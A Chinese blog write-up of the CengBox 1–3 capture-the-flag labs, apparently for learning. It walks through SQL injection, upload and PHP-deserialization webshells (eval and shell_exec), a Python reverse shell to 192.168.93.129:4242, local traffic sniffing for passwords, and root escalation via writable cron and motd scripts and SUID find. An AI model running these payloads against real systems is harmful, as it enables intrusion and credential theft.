cengbox1
信息搜集
其他几个没啥,masteradmin提示forbidden,猜想可能是个目录,加上继续扫
sql注入得到管理员密码
一个登录和上传页面,上传页面需要登录才能打开
老规矩抓包弱密码万能密码sql注入一套走,回首一看xray扫到了
那么sqlmap一把梭
登录跳转到上传页面
Getshell
上传文件类型必须是CENG
该后缀访问上传文件,试了下居然直接解析了?(人间疑惑)
查看home目录得知有个cengover用户
masteradmin目录下找到数据库文件,得到数据库用户名密码
尝试连接数据库失败
想到cengover用户会不会用的是登录页面一样的密码,尝试ssh连接
提权
user.txt貌似是一串md5没撞出来
找下特权文件,无果,查看定时任务无果,查看端口监听无果
/var/opt目录下找到md5check.py
通过对比文件md5校验值判断/etc/passwd是否被修改,并将记录写入root下的note和warning文件,那么可以知道这个脚本必定是添加到了定时任务的
并且这个文件是用户可写的
上传pspy查看进程变化,发现确实是自动执行
那么直接修改文件内容反弹shell
完成
Cengbox2
信息搜集
1 | Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 21:08 EST |
可以看到ftp用户可以登录,目录下有个note,txt
下载查看
说是部署了面板并且用的是默认密码,可能可以登录,访问web服务
扫目录没啥发现,回头再看看note,第二段说把网站移到了一个新的域名ceng-company.vm,重定向?,修改hosts文件试试
看看有没啥变化
web服务依旧没变,目录也还是啥都没有,但注意到ceng-comany.vm是一级域名,那会不会有子域名呢
用subDomainsBrute跑一跑,也要再修改一下host,但是hosts文件不支持通配符,就只能挨个试了
结果admin提示403,感觉有戏,目录扫一波,还是啥都没有,换个dirbuster的字典,终于扫到个gila
后台getshell
访问是个cms
admin直接跳转到后台,需要管理员邮箱和密码
之前说是用了默认密码,github看看
登录失败,试试加上note.txt的人名Kevin@mail.com,还是失败,偷瞄wp,好吧道行不够
Kevin@ceng-company.vm|admin成功登录
得知版本号是1.10.9,搜下版本有没啥漏洞
有个目录遍历
注意到这里有个上传功能,那么生成木马上传尝试getshell
主目录上传没动静,themes目录上传成功但访问不了,src目录可以访问
但403
猜测是.htaccess做了限制
改下就成,连接shell
提权
home目录下有两个用户
查看sudo权限,swartz用户可以运行runphp.sh
查看内容
那好办,直接运行然后system获取swartz的shell
好吧这个weevely的temainal不行,弹到其他地方试试
继续找突破口,发现能进入mitnick用户家目录,目录下有个user.txt
但是没有权限查看
爆破id_rsa登录ssh
同目录下有ssh
把id_rsa传到本机试着用john破解ssh密码
得到密码legend
利用id_rsa登录,提示文件权限太大
chmod修改文件权限再登录
查看user.txt,一串字符串不知道有啥用
用户组内可写文件提权
查看特权文件无果,学到个新招查看用户组内可写文件,这里也就是developers组内可写文件
1 | find / -type f -perm -g+rwx 2>/dev/null |
update-motd.d目录下存放的是登录信息文件,在每次ssh登录时自动执行,这里可以看到他们都是root权限,组内用户可写
那么修改一个文件往里面添加一个bash命令即可
这里选择给find命令加上特权,这样下次ssh登录时,find命令就会带有root权限,从而可以本地利用
重新登录
find特权命令提权
嗯。。。但是并没有root权限
挺神奇的是运行大佬wp的命令
1 | find . -exec /bin/bash -p \; |
又有了root权限
嗯神奇的-p参数,以后得注意下
完成
Cengbox3
信息搜集
1 | Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-02 20:52 EST |
还是要hosts文件绑定一下ceng-company.vm
访问web服务一套模板但是啥都没有
瞄了眼wp又是绑定了子域名,dev.ceng-company.vm
sql注入后台登录
访问是个登录框
xray扫出注入
抓包sqlmap一把梭
php对象注入getshell
登录后台有个add poem的功能
随便提交一个可以观察到url
1 | O:4:"Poem":3:{s:8:"poemName";s:3:"aaa";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:3:"aaa";}s:9:"poemLines";s:3:"aaa";} |
通过字符串里的路径我们知道,生成的文件是存在于网站根目录里的
参数都可控,并且序列化字符串反序列化之后直接写入到了目标文件,那么直接构造即可
1 | O:4:"Poem":3:{s:8:"poemName";s:3:"aba";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/shell.php";s:8:"poemName";s:40:"<?php echo('shell is fine');phpinfo();?>";}s:9:"poemLines";s:3:"aba";} |
重新传个连接木马连上getshell
1 | O:4:"Poem":3:{s:8:"poemName";s:3:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:24:"/var/www/html/shell1.php";s:8:"poemName";s:48:"<?php echo('shell is fine');eval($_POST['a']);?>";}s:9:"poemLines";s:3:"ada";} |
监听本地流量获取ssh密码
只有个eric用户
pspy64查看发现定时执行/opt目录下的login.py
查看文件是否可写
啥权限都没,不过发现了另外两个文件
暂时没啥用
看wp又学到了小技巧,之前已经知道login.py会定时执行,那么必定存在登录的过程从而产生登录流量,那么我们可以抓取本地流量从而获取login.py中用来登录的密码
目标主机已经装了tcpdump
在tmp可写目录监听流量保存为文件,等待1-2分钟
1 | tcpdump -i lo -w login.pcapng |
找到密码3ricThompson*Covid19
提权
ssh连接不行,但是可以切换用户,好吧这也不行
补充一个小知识,当我们通过php或者python获取shell时,会话是没有分配一个pty的,因此我们需要创建一个pty
1 | python3 -c 'import pty; pty.spawn("/bin/sh")' |
那么寻找提权
sudo组免密执行
check.sh和whatsmyip.py都不能修改
但login.py我们是可以修改,并且之前已经了解了是root权限的自动执行
那么直接修改login.py反弹一个shell即可,但这里有点问题,之前获取的shell无法用nano或者vim准确的修改文件,且极易退出shell
因此这里又学到一个小技巧
先利用下列php获取shell
1 | <?php echo shell_exec($_GET['e'].' 2>&1'); ?> |
这样可以直接执行e传入的命令,利用下列payload连接shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.93.129",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
在shell内输入
1 | export TERM=xterm |
ctrl+z暂时退出
执行stty -a查看当前终端尺寸,并复制下来备用
1 | stty rows 40 columns 157 |
执行
1 | stty raw -echo;fg |
继续连接了刚才的shell
输入reset重置窗口,再输入刚才复制的stty rows 40 columns 157
这样就可以方便的用nano或者vim编辑文件,而且不会习惯性的ctrl+z就会退出shell了
将payload用nano编译保存,等待login.py执行
成功反弹shell并且是root权限
完成